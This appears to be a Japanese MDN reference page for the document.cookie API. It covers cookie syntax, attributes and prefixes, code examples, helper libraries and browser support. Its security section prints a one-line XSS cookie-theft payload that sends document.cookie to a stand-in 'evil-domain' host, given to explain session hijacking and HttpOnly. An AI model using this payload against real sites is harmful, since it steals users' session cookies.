現在の文書に関連したクッキーを取得したり設定したりします。一般的なライブラリについては、このシンプルなクッキーフレームワークをご覧ください。

構文

この場所からアクセスできるすべてのクッキーを読む

allCookies = document.cookie;

上記のコードで allCookies は、セミコロンで区切られたクッキーのリストです (つまり key=value のペア)。なお、それぞれの key 及び value は空白文字 (空白及びタブ文字) で囲むことができます。実際、 RFC 6265 ではそれぞれのセミコロンの後に空白一文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。

上記のコードで、 newCookiekey=value の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。

  • オプションとして次に挙げる値を設定することができます。 key と value のペアの後にセミコロンで区切って設定することで、クッキーを設定・更新することができます。
    • ;path=パス (e.g., '/', '/mydir') 指定されない場合は、既定で現在の文書の位置のパスになります。
      メモ: Gecko 6.0 以前では、引用符付きのパスは引用符が文字列を囲む区切り文字ではなく、文字列の一部であるかのように扱われます。これは修正されています。
      パスは絶対パスでなければなりません (RFC 6265 を参照)。相対パスの使用方法について詳しくは、この段落をご覧ください。
    • ;samesite SameSite はブラウザーがこのクッキーをサイト間リクエストで送信することを防ぎます。フラグに利用可能な値は lax または strict です。 Chrome 51 から対応が追加されました。
      • strict の値は、通常のリンクを追う場合を含め、ブラウザーがすべてのサイト間閲覧コンテキストの対象サイト向けてクッキーを送信することを防ぎます。
      • lax の値は、最上位のナビゲーションで GET リクエストの場合のみ、クッキーを送信します。これはユーザーのトラッキングに効率的であるものの、多くの CSRF 攻撃を防ぐことができます。
  • クッキーの値の文字列に encodeURIComponent() を使用すると、文字列に (クッキーの値で許可されない) コンマ、セミコロン、ホワイトスペースを使用していないことを確認できます。
  • ユーザーエージェントの実装によっては、以下のクッキーの接頭辞に対応しています。
    • __Secure- ブラウザーに、セキュアなチャネルを通してリクエストが送信された場合にのみクッキーを含めるよう指示します。
    • __Host- ブラウザーに、安全なオリジンからのクッキーのみを使用することに加え、クッキーのスコープをサーバーから渡された path 属性に限定します。サーバーが path 属性を省略した場合は、要求の URI の「ディレクトリ」が使用されます。これは、クッキーが他のドメインに送出されることを防ぐために、 domain 属性が存在してはいけないことも指示します。 Chrome では、 path 属性は常にオリジンになります。
    ダッシュは接頭辞の一部とみなされます。
    これらのフラグは secure 属性と一緒の場合のみ設定できます。
メモ: 上記のコードに見られるように、 document.cookie はネイティブのセッター及びゲッターを持つアクセサープロパティであり、値を持つ データプロパティではありません。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。

例 1: 単純な使用方法

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}
<button onclick="alertCookie()">Show cookies</button>

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

function alertCookieValue() {
  alert(cookieValue);
}
<button onclick="alertCookieValue()">Show cookie value</button>

例 3: 一度だけ何かを行う

以下のコードを使用するためには、すべての doSomethingOnlyOnce の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。

function doOnce() {
  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}
<button onclick="doOnce()">Only do something once</button>

function resetOnce() { 
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
<button onclick="resetOnce()">Reset only once cookie</button>

//ES5

if (document.cookie.split(';').filter(function(item) {
    return item.indexOf('reader=') >= 0
}).length) {
    console.log('The cookie "reader" exists')
}

//ES2016

if (document.cookie.split(';').filter((item) => item.includes('reader=')).length) {
    console.log('The cookie "reader" exists')
}
//ES5

if (document.cookie.split(';').filter(function(item) {
    return item.indexOf('reader=1') >= 0
}).length) {
    console.log('The cookie "reader" has "1" for value')
}

//ES2016

if (document.cookie.split(';').filter((item) => item.includes('reader=1')).length) {
    console.log('The cookie "reader" has "1" for value')
}

セキュリティ

path 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれないということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し <iframe> 要素を生成して、この iframe の contentDocument.cookie プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、同一オリジンポリシーを適用することです。

クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むため一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS の脆弱性を悪用しています -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HTTPOnly クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は Cookies and Security を見てください。

メモ

  • Firefox 2 から、より良いクライアント側ストレージの機構を利用できます。 - WHATWG DOM ストレージです。
  • 有効期限を 0 に更新するだけで、クッキーを削除できます。
  • クッキーを持てば持つほど、サーバとクライアント間の通信で、より多くのデータが送信されることを忘れないでください。これはリクエストを遅くします。もし、クライアントだけにデータを持たせ続けたいなら、 WHATWG DOM ストレージ を使うことを強くお勧めします。
  • RFC 2965 (5.3 章, "Implementation Limits") は、クッキーのキーまたは値の長さについて最大長を設けないよう指定しており、 arbitrarily large cookies への対応を実装するよう勧めています。各ブラウザーの実装では最大値は異なっている可能性があるので、それぞれのブラウザーのドキュメントを三唱してください。

document.cookie アクセサープロパティの構文は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば localStorage など) とは異なります。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]

クライアントが以前格納されたクッキーをサーバーに送り返す

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

path 引数での相対 URL の使用

新しいクッキーの path 引数は絶対パスの身を受け付けることができます。相対パスを使用したければ、変換する必要があります。以下の関数は相対パスを絶対パスに変換することができます。これは一般用途の関数ですが、もちろん新しいクッキーの path 引数にも、安全に使用することができます。

ライブラリ

/*\
|*|
|*|  :: 相対パスを絶対パスに変換する ::
|*|
|*|  https://developer.mozilla.org/ja/docs/Web/API/document.cookie
|*|  https://developer.mozilla.org/User:fusionchess
|*|
|*|  以下のコードは GNU Public License V3 以降の下に公開されています。
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/

function relPathToAbs (sRelPath) {
  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
  }
  return sDir + sPath.substr(nStart);
}

使用例

/* Let us be in /ja/docs/Web/API/document.cookie */

alert(location.pathname);
// displays: /ja/docs/Web/API/document.cookie

alert(relPathToAbs("./"));
// displays: /ja/docs/Web/API/

alert(relPathToAbs("../Guide/API/DOM/Storage"));
// displays: /ja/docs/Web/Guide/API/DOM/Storage

alert(relPathToAbs("../../Firefox"));
// displays: /ja/docs/Firefox

alert(relPathToAbs("../Guide/././API/../../../Firefox"));
// displays: /ja/docs/Firefox

その他の例

例 5: 一度だけ何かを行う – 一般的なライブラリ

ライブラリ

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
  return true;
}

構文

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])

説明

ページを再読み込みした後の場合も含め、関数を一度だけ実行します。

引数

callback
実行される関数 (function)。
thisObject 省略可
this オブジェクトです (Object または null)。
argumentToPass1, argumentToPass2, argumentToPassN 省略可
callback 関数の引数です。
identifier
検査する識別子、つまりクッキーの名前です (string)。
onlyHere 省略可
boolean 値で、クッキーがグローバルパス (false または undefined) ではなくローカルパス (true) を使用することを示します。 (boolean または undefined)

使用例

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");

仕様書

仕様書 状態 備考
Document Object Model (DOM) Level 2 HTML Specification
Document.cookie の定義
廃止された 初回定義
Cookie Prefixes ドラフト  

ブラウザーの対応

Update compatibility data on GitHub
デスクトップモバイル
ChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewAndroid 版 ChromeEdge MobileAndroid 版 FirefoxAndroid 版 OperaiOS 版 SafariSamsung Internet
基本対応Chrome 完全対応 ありEdge 完全対応 ありFirefox 完全対応 ありIE 完全対応 ありOpera 完全対応 ありSafari 完全対応 ありWebView Android 完全対応 ありChrome Android 完全対応 ありEdge Mobile 完全対応 ありFirefox Android 完全対応 ありOpera Android 完全対応 ありSafari iOS 完全対応 ありSamsung Internet Android ?

凡例

完全対応  
完全対応
実装状況不明  
実装状況不明

関連情報

ドキュメントのタグと貢献者

このページの貢献者: mfuji09, makky3939, YuichiNukiyama, fscholz, jsx, xxxx7
最終更新者: mfuji09,